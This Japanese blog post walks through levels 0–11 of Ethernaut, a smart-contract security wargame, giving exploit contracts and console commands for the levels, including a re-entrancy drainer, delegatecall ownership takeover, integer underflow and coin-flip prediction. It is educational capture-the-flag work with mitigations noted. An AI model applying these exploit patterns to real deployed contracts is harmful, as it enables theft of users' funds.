Ethernautって?
スマートコントラクトの脆弱性を実戦的に学べるサイトです。
https://ethernaut.zeppelin.solutions/
OpenZeppelinを作っている団体ですね。
CryptoZombieが終わったどうしよー って人はやってみてもいいかもしれません。
事前準備
Ethernautでも説明されますが、今回は以下を使いました
- Meta Maskのインストール
- アカウントの作成
- truffle
- Visual Studio Code(あれば便利)
Ethernautの解き方
Ethernautは「Get new Instancce」ボタンを押すとRopsten上に自動的にコントラクトがデプロイされます。
基本的にはこのコントラクトを攻撃します。解き方は主に2種類です。
- Chromeの検証>Consoleから用意されているコマンドで攻撃
- 自身でコントラクトをデプロイして、コントラクト経由で攻撃
11問解いてみました
0.Hello Ethernaut
これはチュートリアルなので脆弱性とはあまり関係ないです。
脱出ゲームの要領で指示が次々と表示されます。
解答例
await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum();
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password;
await contract.authenticate("ethernaut0");
最後にSubmit Instanceを押して、カラフルな出力がいっぱい出たらおしまいです。
1.Fallback
コントラクトの所有者になるためにフォールバック関数のrequireの条件をtrueにします。
解答例
await contract.contribute({value:1});
await contract.getContribution();
await sendTransaction({to:contract.address, value:1});
await contract.owner.call();
player;
await contract.withdraw();
await getBalance(contract.address);
1行目:1eth送ります。この時はmsg.dataがあるのでフォールバック関数は呼び出されません
2行目:cの値が1なのでcontributionsに登録されたことがわかります
3行目:Ethernautのユーティリティを使って1eth送ります
4-5行目:コントラクトのownerになれたか確認します。これはOpenZeppelinのownerを見ています
6行目:全額引き出します
7行目:0になっていればOK
フォールバック関数の仕様などは以下を参照してみてください。
Fallback Function
fallback関数をシンプルに保つ
2.Fallout
コンストラクタと関数の間違い探しですね。
解答例
await contract.Fal1out();
await contract.owner.call();
1行目:FalloutとすべきところをFal1outになっており、関数になってしまっています
2行目:自分がownerになっているか確認します
Rubixiが社名変更によって、リファクタリングを漏らした事件があったそうです。1
Solidityの0.4.23から記述方法が変わりましたので、そちらを使用します
contract Fallout is Ownable {
constructor() public payable {
// ...
}
}
3.Coin Flip
block.numberやblockHashは乱数ではないので先読みされると結果がわかります。
ここ以降はRopstenネットワークにコントラクトをデプロイしなければ解けない問題があります。
詳しくは参考:コントラクトの作成〜デプロイまでを参照してください
解答例
CoinFlipのflip関数をそのまま実装しflip関数を呼び出します。
同じブロックハッシュを使用することになり結果が求められます。
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract CoinFlip {
function flip(bool _guess) public returns (bool);
}
contract AttackCoinFlip is Ownable {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function cheatFlip(address _targetAddress) external onlyOwner {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
CoinFlip targetCoinFlip = CoinFlip(_targetAddress);
targetCoinFlip.flip(side);
}
}
なお、ここで定義したCoinFlipは抽象的なコントラクトです。
デプロイ済みのアドレスを指定することで、実現関係になくとも対象のflip関数を呼び出せます。2
migrationファイルを作成(以降の問題では省略)
var CoinFlip = artifacts.require("./AttackCoinFlip.sol");
module.exports = function(deployer) {
deployer.deploy(CoinFlip);
};
以下を10回繰り返します。
AttackCoinFlip.deployed().then(function(instance){return instance.cheatFlip(COIN_FLIP_ADDRESS)});
最後に10連勝の確認
await contract.consecutiveWins.call();
4.Telephone
tx.originとmsg.senderが一致しないケースを考えます。
※もしGet new Instanceに失敗する場合は、Gas Limitを増やしてみてください。
解答例
コントラクトから関数を呼び出すとtx.origin
とmsg.sender
が異なります。3
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract Telephone {
function changeOwner(address _owner) public;
}
contract AttackTelephone is Ownable {
function attackChangeOwner(address _telephoneAddress, address _newOwner) external onlyOwner {
Telephone telephone = Telephone(_telephoneAddress);
telephone.changeOwner(_newOwner);
}
}
attackChangeOwnerの呼び出し
AttackTelephone.deployed().then(function(instance){return instance.attackChangeOwner(TELEPHONE_ADDRESS, PLAYER_ADDRESS)});
Ownerの確認
await contract.owner.call();
5.Token
加算・減算のオーバフローかアンダーフローのチェックがないのでそこを突きます
解答例
await contract.balanceOf(player);
await contract.transfer(contract.address, 21);
1行目:所持しているトークンを確認します
2行目:所持しているトークン+1を引数に設定することでアンダーフローを引き起こす
totalSupplyよりも多くのトークンが発行されてしまいました。
オーバフロー、アンダーフローの原因になるので、SafeMathを使うと良いようです。
6.Delegation
delegatecallを利用してpwnを呼び出し、ownerになります
解答例
await contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
delegatecallにより、player→Delegation→Detlegateで呼び出されます。msg.senderはplayerです。
msg.dataは関数の署名を含めることで、関数を呼び出せます。4
Parityの事例ではこの脆弱性を突かれたのだそうです。
7.Force
payableな関数持たないコントラクトにEtherを強制的に送りつけます
解答例
selfdestructは対象のコントラクトに強制的にEthを送りつけることができます。
これを回避する方法はないので、balance==0
の仮定はNGです。
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract AttackForce is Ownable {
function() external payable {
}
function kill(address _targetAddress) external onlyOwner {
selfdestruct(_targetAddress);
}
}
デプロイしたコントラクトに1Eth送ります。
AttackForce.deployed().then(function(instance){return instance.sendTransaction({value :1})});
Forceコントラクトにselfdestructを通じてEthを送ります。
AttackForce.deployed().then(function(instance){return instance.kill(FORCE_CONTRACT_ADDRESS)});
コントラクトのEthを確認します。
await getBalance(contract.address);
8.Vault
privateな状態変数であったとしても、中身を見る方法があるお話。
解答例
web3.eth.getStorageAt
を使えば見ることができます。
今回はjavascriptで作りました。truffleのpet-shopを流用したのでコア部分以外は省略します。
showPassword: function (contractAddress, position) {
web3.eth.getStorageAt(contractAddress, position)
.then(function (hexPassword) {
var password = web3.utils.hexToAscii(hexPassword);
console.log(password);
});
},
参考:ropstenに接続する方法
App.web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(App.web3Provider);
showPasswordの呼び出し。
App.showPassword(CONTRACT_ADDRESS, 1);
「A very strong secret password :)」が表示されます。
await contract.unlock('A very strong secret password :)');
locked
がfalseになったか確認
await contract.locked.call();
> false
9.King
送金を失敗させてking
に新しいmsg.sender
が代入されないようにします。
解答例
KingコントラクトにEthを送る関数のみ定義しました。
一方でこのコントラクトへの送金は失敗するように、payableなフォールバック関数は意図的に定義していません。
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract AttackKing is Ownable {
// function() external payable {}
function attackKing(address _targetAddress) external payable onlyOwner {
_targetAddress.call.value(msg.value)();
}
}
今回はtargetAddress.call.value()()
を使用しています。
transfer
は2300のgas上限(上限の変更不可)があるので今回は使用できません。
(Kingのフォールバック関数が状態変数に書き込む処理などを行っているためoutofgas例外が発生します)
prize
を確認します。
await contract.prize.call();
prize以上(1Eth)を送ってkingになります。
(以上って処理はなんだか変ですが…)
AttackKing.deployed().then(function(instance){return instance.attackKing(CONTRACT_ADDRESS, {value:1000000000000000000})});
kingを確認します。
await contract.prize.king();
metamaskなどで別アカウントから、King
コントラクトに送金しても失敗します。
King of the Etherの事例
10.Re-entrancy
targetAddress.call.value(hoge)()
はリエントラントに対して安全でない話(ガスの上限がtransfer
に比べて高いため)5
解答例
Reentrance
のdonate
とwithdraw
を呼び出して一旦ethを預けて引き出します。
引き出す際にフォールバック関数が呼び出されるので、再度withdraw
を呼び出し、ethがなくなるまで引き出し続けます。
transferEther
はOwnerがethを受け取ります。今回は使用しなくても良いです。
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract Reentrance {
function donate(address _to) public payable;
function withdraw(uint _amount) public;
}
contract AttackReentrance is Ownable {
Reentrance private reentrance;
function() public payable {
reentrance.withdraw(0.1 ether);
}
function attackReentrance(address _targetAddress) external payable onlyOwner {
reentrance = Reentrance(_targetAddress);
reentrance.donate(address(this));
reentrance.withdraw(msg.value);
}
function transferEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
0.1 ethを預けて引き出します。
AttackReentrance.deployed().then(function(instance){return instance.attackReentrance(CONTRACT_ADDRESS, {value:100000000000000000})});
balanceが0になったことを確認します。
await getBalance(contract.address);
>0
The DAO事件はこの脆弱性を突かれました。
先にsenderの残高を減らして、ethのやり取りを行うことで回避できます。
使ったことはないですが、OpenZeppelinにはリエントラントを防ぐReentrancyGuardというのもあるようです。
11.Elevator
抽象的なコントラクトの制約の甘さを利用して、top==true
にします。
解答例
最初の呼び出し時はfalse
、二度目の呼び出し時にtrue
にします。
Building.isLastFloor
関数はview
がついているので状態変数にはアクセスできないのですが、省略しても現状は呼び出せてしまうようです。
isLastFloor
をスイッチする処理を書きます。
pragma solidity ^0.4.21;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
contract Elevator {
function goTo(uint) public;
}
contract AttackElevator is Ownable {
bool public isLast = true;
function attackElevator(address _elevatorAddress, uint _floor) external onlyOwner {
Elevator elevator = Elevator(_elevatorAddress);
elevator.goTo(_floor);
}
function isLastFloor(uint) public returns (bool) {
isLast = !isLast;
return isLast;
}
}
継承せずに抽象コントラクトを扱うので少し複雑に見えますが、goTo
関数では呼び出し元(AttackElevator
)がBuilding
として振る舞います。
attackElevatorを呼び出します。
AttackElevator.deployed().then(function(instance){return instance.attackElevator(CONTRACT_ADDRESS, 10)});
topがtrueになったことを確認します。
await contract.top.call();
まとめ
正直なかなか難しかったです。何もなしに解くことは多分できなかったですね…
脆弱性だけでなく副産物としてデプロイ、Solidityの仕様もかなり学べました。
ほんと素晴らしいコンテンツ…!
新しい問題も随時追加されるかもしれないので、今後もぜひ注目していきましょう。
参考:コントラクトの作成〜デプロイまで
こちらを参考にしてます
USING INFURA (OR A CUSTOM PROVIDER)
INFURAに登録
INFURAに登録して、ノードのURLをもらいます
プロジェクトの作成
truffle init
npm init
npm install truffle-hdwallet-provider
npm install --save--exact zeppelin-solidity
npm init
でtruffle-config.js
をtruffle.js
に変えました。
zeppelin-solidityは任意です。
truffle.configの修正
var HDWalletProvider = require("truffle-hdwallet-provider");
var infura_apikey = "API_KEY";
var mnemonic = "hoge hoge hoge hoge";
module.exports = {
// See <https://ethereum.stackexchange.com/questions/23279/steps-to-deploy-a-contract-using-metamask-and-truffle>
networks: {
development: {
host: "localhost",
port: 7545,
network_id: "*" // Match any network id
},
ropsten: {
provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/"+infura_apikey),
network_id: 3,
gas: 4700000
}
}
};
infura_apikey
とmnemonic
は置き換えてください。
コントラクト作成
コントラクトとmigrationのファイルを作ります。
コントラクトのデプロイ
truffle console --network ropsten
migrate --reset
完成
etherscanで確認してください
参考サイト
Vitalik氏がこれまで起こった脆弱性についてまとめています
Thinking About Smart Contract Security
問題の解答例
スマートコントラクトのCTF Ethernaut
追加問題の解答例
Solving the Ethernaut Coin Flip, Telephone & Vault challenges (solidity)
Ethernautの解答例
ethernaut/contracts/attacks/ - Github